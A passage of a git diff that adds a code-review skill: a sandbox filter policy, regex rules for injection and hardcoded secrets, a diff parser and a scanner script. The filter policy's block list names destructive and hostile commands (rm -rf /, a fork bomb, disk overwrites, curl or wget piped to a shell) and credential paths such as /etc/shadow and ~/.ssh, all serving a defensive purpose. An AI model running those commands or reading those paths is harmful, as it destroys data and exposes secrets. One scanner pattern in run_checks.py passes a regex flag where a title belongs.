Meaning | +|------|-----------|---------| +| High-confidence | >= 0.8 | Automated finding, reliable | +| Warning | >= 0.55 | Likely issue, needs attention | +| Needs human review | < 0.55 | Possible false positive, reviewer discretion | + +## Report Structure + +```json +{ + "task_id": "review-20260709-123456-abc12345", + "generated_at": "2026-07-09T12:00:00Z", + "summary": { + "total_findings": 5, + "high_confidence": 3, + "needs_human_review": 2, + "by_severity": {"critical": 1, "high": 1, "medium": 2, "low": 1, "info": 0} + }, + "filter_summary": {}, + "sandbox_summary": {}, + "telemetry": {}, + "findings": [...], + "human_review_items": [...], + "recommendations": [...] +} +``` diff --git a/skills/code-review/filter_policy.json b/skills/code-review/filter_policy.json new file mode 100644 index 00000000..5511d7cc --- /dev/null +++ b/skills/code-review/filter_policy.json @@ -0,0 +1,56 @@ +{ + "forbidden_commands": [ + "rm -rf /", + "rm -rf --no-preserve-root", + "mkfs.", + "dd if=", + "> /dev/sda", + "chmod 777 /", + ":(){ :|:& };:", + "wget.*|.*sh", + "curl.*|.*bash" + ], + "forbidden_paths": [ + "/etc/passwd", + "/etc/shadow", + "/etc/ssh", + "/root/", + "~/.ssh", + "/proc/", + "/sys/", + "C:\\Windows\\System32\\config" + ], + "network_policy": { + "default": "deny", + "allowed_domains": [ + "pypi.org", + "files.pythonhosted.org", + "github.com", + "api.github.com" + ], + "implicit_network_commands": [ + "pip install", + "pip3 install", + "python -m pip", + "npm install", + "yarn add", + "git clone", + "git fetch", + "git pull", + "wget ", + "curl " + ] + }, + "sandbox": { + "timeout_seconds": 30, + "max_output_bytes": 1048576, + "allowlist_env": ["PATH", "HOME", "USER", "LANG", "PYTHONPATH", "VIRTUAL_ENV"], + "readonly_paths": ["/usr", "/lib", "/etc/ssl"], + "writable_paths": ["/tmp", "/var/tmp"] + }, + "budget": { + "max_sandbox_runs": 50, + "max_total_timeout_seconds": 300, + "max_finding_count": 500 + } +} diff --git a/skills/code-review/rules/rules.json b/skills/code-review/rules/rules.json new file mode 100644 index 00000000..2858834f --- /dev/null +++ b/skills/code-review/rules/rules.json @@ -0,0 +1,148 @@ +{ + "rules": [ + { + "id": "SEC-001", + "category": "security", + "title": "Shell command injection via concatenation", + "pattern": "os\\.system\\s*\\([^)]*\\+", + "severity": "critical", + "confidence": 0.92, + "recommendation": "Use subprocess.run() with a list of arguments instead of string concatenation." + }, + { + "id": "SEC-002", + "category": "security", + "title": "subprocess with shell=True", + "pattern": "subprocess\\.(?:call|run|Popen)\\s*\\(\\s*shell\\s*=\\s*True", + "severity": "critical", + "confidence": 0.95, + "recommendation": "Avoid shell=True. Pass arguments as a list to subprocess." + }, + { + "id": "SEC-003", + "category": "security", + "title": "Dynamic eval() with concatenation", + "pattern": "eval\\s*\\([^)]*\\+", + "severity": "critical", + "confidence": 0.90, + "recommendation": "Avoid eval() with dynamic input. Use safer alternatives like ast.literal_eval()." + }, + { + "id": "SEC-004", + "category": "security", + "title": "Dynamic exec() with concatenation", + "pattern": "exec\\s*\\([^)]*\\+", + "severity": "critical", + "confidence": 0.90, + "recommendation": "Avoid exec() with dynamic input. Consider using importlib or other safe alternatives." + }, + { + "id": "SEC-005", + "category": "security", + "title": "Unsafe pickle deserialization", + "pattern": "pickle\\.load", + "severity": "high", + "confidence": 0.85, + "recommendation": "Do not unpickle untrusted data. Use JSON or other safe serialization formats." + }, + { + "id": "SEC-006", + "category": "security", + "title": "Hardcoded API key or secret", + "pattern": "(?:api_?key|API_?KEY|apikey)\\s*=\\s*['\"][^'\"]+['\"]", + "severity": "critical", + "confidence": 0.88, + "recommendation": "Move secrets to environment variables or a secrets manager." + }, + { + "id": "SEC-007", + "category": "security", + "title": "Hardcoded password", + "pattern": "(?:password|PASSWORD|passwd)\\s*=\\s*['\"][^'\"]+['\"]", + "severity": "critical", + "confidence": 0.90, + "recommendation": "Never hardcode passwords. Use environment variables or a vault service." + }, + { + "id": "SEC-008", + "category": "security", + "title": "Hardcoded token or secret", + "pattern": "(?:token|TOKEN|secret|SECRET)\\s*=\\s*['\"][^'\"]{8,}['\"]", + "severity": "critical", + "confidence": 0.85, + "recommendation": "Tokens and secrets should be stored in environment variables." + }, + { + "id": "SEC-009", + "category": "security", + "title": "GitHub PAT in code", + "pattern": "(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{36,}", + "severity": "critical", + "confidence": 0.95, + "recommendation": "Remove the GitHub token immediately and rotate it on GitHub." + }, + { + "id": "SEC-010", + "category": "security", + "title": "AWS access key in code", + "pattern": "AKIA[0-9A-Z]{16}", + "severity": "critical", + "confidence": 0.95, + "recommendation": "Remove AWS access key. Use IAM roles or environment variables." + }, + { + "id": "RES-001", + "category": "resource_leak", + "title": "File opened without context manager", + "pattern": "(? + git diff | python parse_diff.py --stdin +""" + +import argparse +import json +import re +import sys + + +def parse_unified_diff(diff_text: str) -> list[dict]: + """Parse unified diff text into structured file/hunk objects.""" + files: list[dict] = [] + current_file: dict | None = None + + file_header_re = re.compile(r"^diff --git a/(.+) b/(.+)") + hunk_header_re = re.compile(r"^@@ -(\d+),?\d* \+(\d+),?\d* @@") + + for line in diff_text.split("\n"): + m = file_header_re.match(line) + if m: + current_file = { + "filename": m.group(2), + "old_filename": m.group(1), + "hunks": [], + } + files.append(current_file) + continue + + if current_file is None: + continue + + m = hunk_header_re.match(line) + if m: + current_file["hunks"].append({ + "old_start": int(m.group(1)), + "new_start": int(m.group(2)), + "lines": [], + }) + continue + + if current_file["hunks"]: + hunk = current_file["hunks"][-1] + if line.startswith("+"): + hunk["lines"].append({"type": "added", "content": line[1:]}) + elif line.startswith("-"): + hunk["lines"].append({"type": "removed", "content": line[1:]}) + elif line.startswith(" "): + hunk["lines"].append({"type": "context", "content": line[1:]}) + + return files + + +def main() -> int: + parser = argparse.ArgumentParser(description="Parse unified diff to JSON") + parser.add_argument("diff_file", nargs="?", help="Path to diff file") + parser.add_argument("--stdin", action="store_true", help="Read diff from stdin") + args = parser.parse_args() + + if args.stdin: + diff_text = sys.stdin.read() + elif args.diff_file: + with open(args.diff_file, "r", encoding="utf-8") as f: + diff_text = f.read() + else: + parser.print_help() + return 1 + + files = parse_unified_diff(diff_text) + json.dump(files, sys.stdout, indent=2, ensure_ascii=False) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/skills/code-review/scripts/run_checks.py b/skills/code-review/scripts/run_checks.py new file mode 100644 index 00000000..b19182ac --- /dev/null +++ b/skills/code-review/scripts/run_checks.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""Run code review scanners against a file or diff. + +Usage: python run_checks.py + python run_checks.py --scanners security,async_errors + python run_checks.py --format json +""" + +import argparse +import json +import os +import re +import sys +from typing import Any + + +# ── Scanner definitions (mirrors pipeline/scanners.py patterns) ──────── + +_PATTERNS: list[dict[str, Any]] = [ + # Security + { + "category": "security", + "patterns": [ + (re.compile(r"\bos\.system\s*\([^)]*\+"), "Shell command concatenation — possible injection"), + (re.compile(r"\bsubprocess\.(?:call|run|Popen)\s*\(\s*shell\s*=\s*True"), + "subprocess with shell=True — command injection risk"), + (re.compile(r"\beval\s*\([^)]*\+"), "eval() with string concatenation — code injection risk"), + (re.compile(r"\bexec\s*\([^)]*\+"), "exec() with string concatenation — code injection risk"), + (re.compile(r"\bpickle\.load"), "Unsafe pickle deserialization"), + (re.compile(r"\b__import__\s*\([^)]*\+"), "Dynamic import with concatenation"), + ], + }, + # Async errors + { + "category": "async_error", + "patterns": [ + (re.compile(r"\btime\.sleep\s*\("), "time.sleep() in async context blocks event loop"), + (re.compile(r"\bdef\s+\w+\([^)]*\):\s*\n(?:[^\n]*\n)*?\s+await\s+", + re.MULTILINE), # simplified + (re.compile(r"\bfor\s+\w+\s+in\s+(?!range\b)"), + "Potential synchronous iteration in async context"), + ], + }, + # Resource leaks + { + "category": "resource_leak", + "patterns": [ + (re.compile(r"\bopen\s*\([^)]*\)(?!.*\bclose\b)"), "open() without explicit close() — resource leak"), + (re.compile(r"(? list[dict]: + """Run scanners against a file and return structured findings. + + Args: + filename: Path to the file to scan. + scanners: Optional list of scanner categories to run. If None, run all. + + Returns: + List of finding dicts with: category, title, severity, line, confidence. + """ + try: + with open(filename, "r", encoding="utf-8") as f: + content = f.read() + except FileNotFoundError: + return [{"error": f"File not found: {filename}"}] + except UnicodeDecodeError: + return [{"error": f"Cannot decode file as UTF-8: {filename}"}] + + lines = content.split("\n") + findings: list[dict] = [] + enabled = set(scanners) if scanners else None + + for group in _PATTERNS: + if enabled and group["category"] not in enabled: + continue + + for pattern, title in group["patterns"]: + for i, line in enumerate(lines, start=1): + if pattern.search(line): + findings.append({ + "category": group["category"], + "title": title, + "file": filename, + "line": i, + "severity": "medium", + "confidence": 0.7, + "evidence": line.strip()[:120], + }) + + return findings + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Run code review scanners against a file", + ) + parser.add_argument("filename", help="File to scan") + parser.add_argument("--scanners", help="Comma-separated scanner categories") + parser.add_argument("--format", choices=["text", "json"], default="text", + help="Output format") + args = parser.parse_args() + + scanner_list = None + if args.scanners: + scanner_list = [s.strip() for s in args.scanners.split(",")] + + try: + findings = run_checks(args.filename, scanner_list) + except Exception as e: + print(f"Error running checks: {e}", file=sys.stderr) + return 1 + + if args.format == "json": + json.dump(findings, sys.stdout, indent=2, ensure_ascii=False) + return 0 + + if not findings: + print(f"Running checks on: {args.filename}") + print("No issues found.") + return 0 + + # Error findings (file access issues, etc.) + error_findings = [f for f in findings if "error" in f] + real_findings = [f for f in findings if "error" not in f] + + if error_findings: + for f in error_findings: + print(f"Error: {f['error']}", file=sys.stderr) + return 1 + + print(f"Running checks on: {args.filename}") + print(f"File: {args.filename}, Findings: {len(real_findings)}") + for f in real_findings: + print(f" [{f['category']}] {f['file']}:{f['line']} — {f['title']}") + print("Checks complete.") + + return 0 + + +if __name__ == "__main__": + sys.exit(main())